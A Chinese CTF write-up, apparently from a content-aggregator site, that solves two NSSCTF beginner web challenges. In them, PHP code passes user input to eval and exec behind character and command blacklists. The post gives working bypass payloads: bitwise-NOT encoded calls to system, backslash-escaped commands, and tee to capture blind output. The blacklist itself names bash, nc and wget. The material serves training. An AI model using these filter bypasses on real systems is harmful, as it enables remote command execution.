nssctf web 入门(7)

这篇具有很好参考价值的文章主要介绍了nssctf web 入门(7)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这里通过nssctf的题单web安全入门来写,会按照题单详细解释每题。题单在NSSCTF中。

想入门ctfweb的可以看这个系列,之后会一直出这个题单的解析,题目一共有28题,打算写10篇。

[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce

nssctf web 入门(7)

<?php
header("Content-Type:text/html;charset=utf-8");   
error_reporting(0);  #屏蔽错误报错信息
highlight_file(__FILE__); #将当前文件的代码显示到页面上
if(isset($_GET['wllm']))  #通过get获取wllm判断是不是空
{
    $wllm = $_GET['wllm']; #将get获取的wllm赋值给wllm
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; #这里定义了一个黑名单数组
    foreach ($blacklist as $blackitem)  #foreach在php中用于遍历数组,这里代表将blacklist中的每个元素挨个取出放到blackitem中
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) { #通过preg_match匹配wllm中有没有blacklist中的内容 .在这里用来拼接 /m代表匹配多行字符串,也就是匹配所有的内容
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm)) #绕通过preg_match匹配所有的大小写字符串
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm); #eval执行php代码
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这里过滤了所有的字母我们肯定要编码,同时又过滤了很多字符,我们发现没有过滤% url编码是将url中非ascill码和特殊字符转换为可接受的ascll码的过程,%带着16进制编码

nssctf web 入门(7)

 这里像system这种普通文本不用经过url转换我们可以用~取反来帮我们

nssctf web 入门(7)

 文章来源地址https://www.toymoban.com/news/detail-417090.html

nssctf web 入门(7)

 绕过了但是ls没有东西这里没有过滤()我们试试将()不编码

nssctf web 入门(7)

(~system)(~ls /)

nssctf web 入门(7)

写进去的时候不要有D6D7

nssctf web 入门(7)

 [SWPUCTF 2021 新生赛]finalrce

[SWPUCTF 2021 新生赛]finalrce

<?php
highlight_file(__FILE__);  #把当前文件的代码显示到页面上
if(isset($_GET['url']))    #通过get方法获取一个url并判断url的值是不是空
{
    $url=$_GET['url'];     #将通过get获取的url的值赋值给url变量
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))  #通过preg_match判断url中中有没有像bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$中的内容    /i代表匹配大小写
{
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);  #exec是执行命令的函数,这里会执行url的值
    }
}

nssctf web 入门(7)

 这里我们通过\来绕过如l\s 我们知道\在正则表达式中有特殊含义可以用来匹配特殊字符,这里我们代表匹配以l开头\s代表匹配一个空白字符

由此我们通过正则匹配的方式绕过了过滤 之外我们考虑exec会执行命令但是因为没有回显,所有我们不知道有什么内容这里>也被过滤了无法通过>输出到文件中

在linux中tee是一个命令行工具,可以以标准输出复制到标准输出 一般是将终端输出输出到文件

如ls | tee 1.txt 这个命令会将ls执行的结果输出到终端同时会输出到1.txt中所有我们可以使用tee来显示结果

所以得到payload l\s / | tee 1.txt

这里查看根目录下的文件

nssctf web 入门(7)

 

 nssctf web 入门(7)

 这里没有过滤tac 我们使用tac

tac /flllllaaaaaaggggggg 因为在过滤规则中有la使用我们要通过\转义符使la的a变成普通字符这样就不会触发la的特殊方式

nssctf web 入门(7)

 nssctf web 入门(7)

 

 

到了这里,关于nssctf web 入门(7)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 洛谷-官方题单版【入门篇】

    题目背景 本题是洛谷的试机题目,可以帮助了解洛谷的使用。 建议完成本题目后继续尝试 P1001、P1008。 另外强烈推荐新用户必读贴 题目描述 超级玛丽是一个非常经典的游戏。请你用字符画的形式输出超级玛丽中的一个场景。 题目描述 输入一个小写字母,输出其对应的大写

    2024年02月02日
    浏览(70)
  • 【Web】NSSCTF Round#16 Basic个人wp(全)

    出题友好,适合手生复健。 目录 ①RCE但是没有完全RCE ②了解过PHP特性吗 上来就是一段md5八股 (string)就是不让用数组了,然后强比较需要md5碰撞  之后是要md5前后都是0e   成功过掉,访问3z_RC3.php  这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反

    2024年01月21日
    浏览(34)
  • 洛谷题单 -- 图论的简单入门

    图的存储 - 洛谷 这一题要考察图的存储方式 , 一般可以使用邻接矩阵 或 邻接表来存储 图的结点 和1 边的信息 ,详情请看代码 :  【深基18.例3】查找文献 - 洛谷 这题考察有向图的 dfs 和 bfs ,详情请看代码,如果用邻接矩阵的话一定会mle,只能够使用邻接表,我这里采用的是用

    2024年04月13日
    浏览(44)
  • 如何通过数据验证防止 Web API 攻击 - Web API 安全指南

    充分的数据保护和用户保密是网页开发者的主要责任。因此,在构建 API 终端时,确保最高可能的安全性至关重要。 应用程序安全是客户端和服务器开发者共同的责任,一方的疏忽可能会造成灾难性后果。统计数据显示,2023 年的数据泄露导致全球超过 800 万个数据记录暴露。

    2024年04月15日
    浏览(37)
  • 《小白WEB安全入门》01. 扫盲篇

    本系列文章只叙述一些超级基础理论知识,极少有实践部分 web(World Wide Web)即全球广域网,也称为万维网,它是一种基于超文本和HTTP的、全球性的、动态交互的、跨平台的分布式图形信息系统。是建立在Internet上的一种网络服务,为浏览者在Internet上查找和浏览信息提供了

    2023年04月26日
    浏览(32)
  • 【web安全】——XXE漏洞快速入门

    作者名:Demo不是emo  主页面链接 : 主页传送门 创作初心: 一切为了她 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: 网络安全,数据结构 每日emo: 该怎么开口呢?今晚天气不错,但还是想你了 目录  一:初识XXE漏洞 1.XXE简介  2.XML概念 二:XML语法简析 1.XML基础语

    2024年02月07日
    浏览(40)
  • Web安全入门基础知识(笔记)

    0x01 基础名词 一、域名 1.什么是域名 2.域名在那里注册 3.什么是二级域名,多级域名,顶级域名 4.域名发现对于安全测试的意义 二、DNS 1.什么是DNS 2.本地host和DNS的关系 3.CDN是什么,和DNS有什么关系 三、常见的DNS攻击 四、脚本语言 1.常见的脚本语言有哪些 2.不同的脚本类型于

    2024年02月10日
    浏览(53)
  • 零基础想学习 Web 安全,如何入门?

    想学习 Web 安全,如何入门? 1.我真的喜欢搞安全吗? 2.我想通过安全赚钱钱? 3.我不知道做什么就是随便? 4.一辈子做安全吗 这些不想清楚会对你以后的发展很不利,与其盲目的学习 web 安全,不如先做一个长远的计划。否则在我看来都是浪费时间。 Web 分为好几层,一图胜千言

    2024年02月03日
    浏览(58)
  • 新手入门Web安全的学习路线

    学习Web安全需要掌握Web安全相关概念、渗透测试相关工具、渗透实战操作、熟悉Windows/Kali Linux、中间件和服务器的安全配置、脚本编程学习、源码审计与漏洞分析、安全体系设计与开发等等。 如果是零基础的小白入门Web安全,可以参考这个学习规划: 建议学习时间:2周 学习

    2024年02月05日
    浏览(56)
  • [Web安全入门]BURP基本使用详解

    目录 BURP安装、配置、基本使用 BRUP安装和配置 HTTP简介 http请求包格式 http应答包格式 http状态值 burp功能详解 target标签 target在渗透攻防中的利用 dashboard仪表盘 scanner扫描器 proxy标签 intruder标签 repeater标签 comparer对比标签 前置条件: 安装好jdk11并配置好环境变量   首先下载官

    2024年01月18日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包